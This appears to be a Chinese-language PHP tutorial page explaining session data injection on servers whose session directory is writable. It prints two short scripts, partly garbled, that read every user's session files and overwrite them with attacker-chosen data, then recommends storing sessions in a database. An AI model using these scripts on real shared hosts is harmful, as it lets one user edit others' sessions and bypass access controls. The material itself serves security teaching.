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HomeBackend DevelopmentPHP TutorialPHP安全编程:会话数据注入

PHP安全编程:会话数据注入

Jun 23, 2016 pm 01:50 PM
phpsessiondatainjectionprogramming

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

<?phpsession_start ();?>
read()){ if (substr($filename, 0, 5) == 'sess_') { $sess_data = file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name, ENT_QUOTES, 'UTF-8'); echo "

Session [$sess_name]

"; foreach ($sess_data as $name => $value) { $name = htmlentities($name, ENT_QUOTES, 'UTF-8'); $value = htmlentities($value, ENT_QUOTES, 'UTF-8'); echo "

$name:

"; } echo '
'; } }}$handle->close();?>

脚本inject.php执行由表单所指定的修改:


<?phpsession_start ();$path = ini_get('session.save_path');foreach ($_POST as $sess_name => $sess_data){  $_SESSION = $sess_data;  $sess_data = session_encode;  file_put_contents("$path/$sess_name", $sess_data);}$_SESSION = array();?>

此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。

针对这个问题的最好解决方案是将会话数据保存在数据库中。参见专题前面的内容。

延伸阅读

此文章所在专题列表如下:http://www.nowamagic.net/librarys/veda/detail/2079



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